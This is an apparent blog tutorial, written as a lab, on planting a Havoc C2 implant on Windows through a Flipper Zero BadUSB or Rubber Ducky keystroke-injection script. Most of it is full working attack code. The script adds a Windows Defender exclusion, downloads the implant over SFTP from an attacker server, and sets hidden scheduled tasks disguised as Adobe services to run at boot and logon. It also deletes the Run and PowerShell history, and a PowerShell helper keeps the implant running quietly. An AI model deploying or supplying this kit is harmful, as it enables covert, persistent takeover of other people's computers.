Deploying C2 malware pt.2 [2] - Flipper Zero BadUSB

Taking a step further from what we saw in the Havoc C2 post, let's take it a step further.
Lets use the app BadUSB from Flipper Zero to inject malicious code in Windows 10/11 (also you can use Rubber Ducky).
In the lab we will:
- Avoid the detection in Windows Defender [EVASION : T1564.012].
- Download the payload from the Havoc server [OBTAIN CAPABILITIES : T1588.001].
- Create a task to execute it every boot and logon [PERSISTENCE : T1053.005].
- OPTIONAL - Deploy a script that checks if the demon.exe its currently running to avoid duplicate processes and difficult the detection [EVASION].
HOW IT WORKS?
Simply put, each device has a HID (Human Interface Device) that identifies which device it is.
Rubber Ducky (and Flipper Zero's BadUSB) shows the computer that its HID corresponds to a keyboard or mouse, allowing it to "typing" from a preloaded script.
CREATION OF THE BADUSB / RUBBER DUCKY SCRIPT
- We prepare the terminal by opening as admin (CTRL + SHIFT + ENTER), and establish the color of the console white and the letters in white to reduce the visual impact. Also, reduce the size of the console at minimun.
REM --> Prepare terminal DELAY 1000 REM --> GUI d DELAY 150 GUI r DELAY 400 STRING cmd CTRL-SHIFT ENTER DELAY 2000 ALT y ALT s DELAY 2000 CTRL c DELAY 500 STRING color FE & mode con:cols=15 lines=1 ENTER STRING powershell ENTER DELAY 50 STRING cd "$env:USERPROFILE\" ENTER DELAY 50
- Creates a new directory (example .adobe_reader) and then the exception for the Microsoft Defender.
REM --> Exception STRING New-Item -ItemType Directory -Path "$env:UserProfile\AppData\Local\.adobe_reader" -Force > $null 2>&1 ENTER DELAY 50 STRING Add-MpPreference -ExclusionPath "$env:UserProfile\AppData\Local\.adobe_reader\demon.x64.exe" ENTER DELAY 50
- Connects the victim PC to the server following the next steps:
- Deletes in the known_hosts file the lines matching with the IP of the C2 server. This avoids any problem on the question "save SSH certificate for future connections?" in case we excecute the BadUSB before.
- Creates a backup of the file
- Connects to the server (user, IP and pass).
- Downloads the .exe and .ps1 into the exceptioned folder of the victim.
- Close the connection.REM --> Transfer C2 exe SSH STRING (Get-Content ".\.ssh\known_hosts") | Where-Object { $_ -notmatch "<SFTP\.SERVER\.IP>" } | Set-Content ".\.ssh\known_hosts" ENTER DELAY 100 STRING copy .\.ssh\known_hosts .\.ssh\known_hosts_bckp ENTER DELAY 100 STRING sftp <SFTP USER>@<SFTP.SERVER.IP> ENTER DELAY 500 STRING yes ENTER DELAY 500 STRING <SFTP PASSWORD> ENTER DELAY 500 STRING cd ../download ENTER DELAY 100 STRING lcd AppData\Local\.adobe_reader ENTER DELAY 100 STRING get demon.x64.exe ENTER DELAY 2000 STRING get Adobe_Reader_Init.ps1 ENTER DELAY 2000 STRING bye ENTER DELAY 100
- Set persistence by:
- Creates a new folder in the Microsoft folder of the scheduled tasks.
- Creates a new task executed always at boot. The command as its configured avoids that a powershell window opens at boot.
- Creates a new task executed always at login event. The command as its configured avoids that a powershell window opens at the login event.
- Finally, runs the task to launch the .ps1 / .exeNOTE: In this example I'm using the .ps1 to launch the .exe. As we said, the powershell checks if there is other processes already connected to not duplicate processes and connections (and get more difficult to been detected by the user).
REM --> Persistence STRING $scheduleObject = New-Object -ComObject schedule.service; $scheduleObject.connect(); $rootFolder = $scheduleObject.GetFolder("\Microsoft"); $rootFolder.CreateFolder("Adobe") ENTER DELAY 100 STRING schtasks /create /sc onstart /tn "Microsoft\Adobe\AdobeServiceBoot" /tr "cmd.exe /c start /min “” powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command “. ‘%USERPROFILE%\AppData\Local\.adobe_reader\Adobe_Reader_Init.ps1’”" /rl highest ENTER DELAY 50 STRING schtasks /create /sc onevent /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4648]]" /ec Security /tn "Microsoft\Adobe\AdobeServiceLogon" /tr "cmd.exe /c start /min “” powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command “. ‘%USERPROFILE%\AppData\Local\.adobe_reader\Adobe_Reader_Init.ps1’”" /rl highest ENTER DELAY 100 STRING schtasks /run /tn "Microsoft\Adobe\AdobeServiceLogon" ENTER DELAY 100
- Deletion of fingerprints.
REM --> Clean up STRING REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f ENTER DELAY 10 STRING copy .\.ssh\known_hosts_bckp .\.ssh\known_hosts ENTER DELAY 100 STRING del .\.ssh\known_hosts_bckp ENTER DELAY 10 STRING del AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt ENTER DELAY 10 STRING exit ENTER DELAY 10 STRING exit ENTER DELAY 10
OPTIONAL - CREATION OF THE POWERSHELL SCRIPT
Simply put, each device
- Sets the variables names.
$processName = "demon.x64.exe" $executablePath = "$env:USERPROFILE\AppData\Local\.adobe_reader\demon.x64.exe" $serverIP = "<HAVOC SERVER IP>"
- Gets the PIDs of the proccesses that has an active connection with the C2 server.
$processesWithConnections = Get-NetTCPConnection | Where-Object { $_.RemoteAddress -eq $serverIP -and $_.RemotePort -eq "443" -and $_.State -eq "Established" } | Select-Object -Property OwningProcess $connectedProcessIds = $processesWithConnections | ForEach-Object { $_.OwningProcess }
- When we close the connection in Havoc, it only terminates the connection, but the process remains in the victim. With these lines, we achieve to kill the processes that no longer have a connection.
Get-Process -Name ($processName -replace ".exe", "") -ErrorAction SilentlyContinue | Where-Object { $connectedProcessIds -notcontains $_.Id } | ForEach-Object { Write-Output "Terminate process $($processName) with ID $($_.Id) without connection." Stop-Process -Id $_.Id -Force }
- We get the proccesses with an active connection to the C2 server at port 443.
Get-Process -Name ($processName -replace ".exe", "") -ErrorAction SilentlyContinue ; Get-NetTCPConnection | Select-Object -Property OwningProcess, LocalAddress, LocalPort, RemoteAddress, RemotePort, State | Sort-Object -Property OwningProcess | Where-Object { $_.RemoteAddress -eq $serverIP -and $_.RemotePort -eq "443" }
- If already exists a proccess with an active connection, exits the script, but if there is no active connection against the C2 server, it executes the demon.exe.
if (-not $connectedProcessIds) { Write-Output "There are no processes with active connection. Executing $executablePath..." Start-Process -FilePath $executablePath -NoNewWindow } else { Write-Output "There is already a process with an active connection. No action is taken." }
FULL BADUSB / RUBBER DUCKY SCRIPT
REM --> Prepare terminal
DELAY 1000
REM --> GUI d
DELAY 150
GUI r
DELAY 400
STRING cmd
CTRL-SHIFT ENTER
DELAY 2000
ALT y
ALT s
DELAY 2000
CTRL c
DELAY 500
STRING color FE & mode con:cols=15 lines=1
ENTER
STRING powershell
ENTER
DELAY 50
STRING cd "$env:USERPROFILE\"
ENTER
DELAY 50
REM --> Exception
STRING New-Item -ItemType Directory -Path "$env:UserProfile\AppData\Local\.adobe_reader" -Force > $null 2>&1
ENTER
DELAY 50
STRING Add-MpPreference -ExclusionPath "$env:UserProfile\AppData\Local\.adobe_reader\demon.x64.exe"
ENTER
DELAY 50
REM --> Transfer C2 exe SSH
STRING (Get-Content ".\.ssh\known_hosts") | Where-Object { $_ -notmatch "172\.233\.32\.196" } | Set-Content ".\.ssh\known_hosts"
ENTER
DELAY 100
STRING copy .\.ssh\known_hosts .\.ssh\known_hosts_bckp
ENTER
DELAY 100
STRING sftp <SFTP USER>@<SFTP SERVER IP>
ENTER
DELAY 500
STRING yes
ENTER
DELAY 500
STRING <SFTP PASSWORD>
ENTER
DELAY 500
STRING cd ../download
ENTER
DELAY 100
STRING lcd AppData\Local\.adobe_reader
ENTER
DELAY 100
STRING get demon.x64.exe
ENTER
DELAY 2000
STRING get Adobe_Reader_Init.ps1
ENTER
DELAY 2000
STRING bye
ENTER
DELAY 100
REM --> Persistence
STRING $scheduleObject = New-Object -ComObject schedule.service; $scheduleObject.connect(); $rootFolder = $scheduleObject.GetFolder("\Microsoft"); $rootFolder.CreateFolder("Adobe")
ENTER
DELAY 100
STRING schtasks /create /sc onstart /tn "Microsoft\Adobe\AdobeServiceBoot" /tr "cmd.exe /c start /min “” powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command “. ‘%USERPROFILE%\AppData\Local\.adobe_reader\Adobe_Reader_Init.ps1’”" /rl highest
ENTER
DELAY 50
STRING schtasks /create /sc onevent /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4648]]" /ec Security /tn "Microsoft\Adobe\AdobeServiceLogon" /tr "cmd.exe /c start /min “” powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command “. ‘%USERPROFILE%\AppData\Local\.adobe_reader\Adobe_Reader_Init.ps1’”" /rl highest
ENTER
DELAY 100
STRING schtasks /run /tn "Microsoft\Adobe\AdobeServiceLogon"
ENTER
DELAY 100
REM --> Clean up
STRING REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
ENTER
DELAY 10
STRING copy .\.ssh\known_hosts_bckp .\.ssh\known_hosts
ENTER
DELAY 100
STRING del .\.ssh\known_hosts_bckp
ENTER
DELAY 10
STRING del AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
ENTER
DELAY 10
STRING exit
ENTER
DELAY 10
STRING exit
ENTER
DELAY 10
OPTIONAL - FULL POWERSHELL SCRIPT
$processName = "demon.x64.exe"
$executablePath = "$env:USERPROFILE\AppData\Local\.adobe_reader\demon.x64.exe"
$serverIP = "<HAVOC SERVER IP>"
$processesWithConnections = Get-NetTCPConnection |
Where-Object { $_.RemoteAddress -eq $serverIP -and $_.RemotePort -eq "443" -and $_.State -eq "Established" } |
Select-Object -Property OwningProcess
$connectedProcessIds = $processesWithConnections | ForEach-Object { $_.OwningProcess }
Get-Process -Name ($processName -replace ".exe", "") -ErrorAction SilentlyContinue |
Where-Object { $connectedProcessIds -notcontains $_.Id } |
ForEach-Object {
Write-Output "Terminate process $($processName) with ID $($_.Id) without connection."
Stop-Process -Id $_.Id -Force
}
Get-Process -Name ($processName -replace ".exe", "") -ErrorAction SilentlyContinue ; Get-NetTCPConnection | Select-Object -Property OwningProcess, LocalAddress, LocalPort, RemoteAddress, RemotePort, State | Sort-Object -Property OwningProcess | Where-Object { $_.RemoteAddress -eq $serverIP -and $_.RemotePort -eq "443" }
if (-not $connectedProcessIds) {
Write-Output "There are no processes with active connection. Executing $executablePath..."
Start-Process -FilePath $executablePath -NoNewWindow
} else {
Write-Output "There is already a process with an active connection. No action is taken."
}
Comments